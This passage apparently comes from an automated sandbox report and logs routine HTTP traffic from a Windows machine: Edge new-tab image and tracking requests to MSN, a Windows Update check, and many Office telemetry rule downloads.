en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKXX.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732471915192&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1F3CC8AC76826FD52AA3DDED77AB6EB5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1F6d6f6fa4cfd258e6ec3401732471916; XID=1F6d6f6fa4cfd258e6ec3401732471916
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=1F3CC8AC76826FD52AA3DDED77AB6EB5&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=528afb3e7eb8431fbaedf2ecaa6f1307 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5; _EDGE_S=F=1&SID=36117CBD804B69B03A6369FC81ED6850; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732471915191&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7802fdab79c14bad93100131b39abd85&activityId=7802fdab79c14bad93100131b39abd85&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=477706E2E3824BFEB5EF182FCAD13ED3&MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5; _EDGE_S=F=1&SID=36117CBD804B69B03A6369FC81ED6850; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=1F3CC8AC76826FD52AA3DDED77AB6EB5&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=bf9f4e1efb4342bcc3c35ed8d52a2682 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5; _EDGE_S=F=1&SID=36117CBD804B69B03A6369FC81ED6850; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ9.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZa.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2NMxG4bFyKgHpsB&MD=vR+XuAHf HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
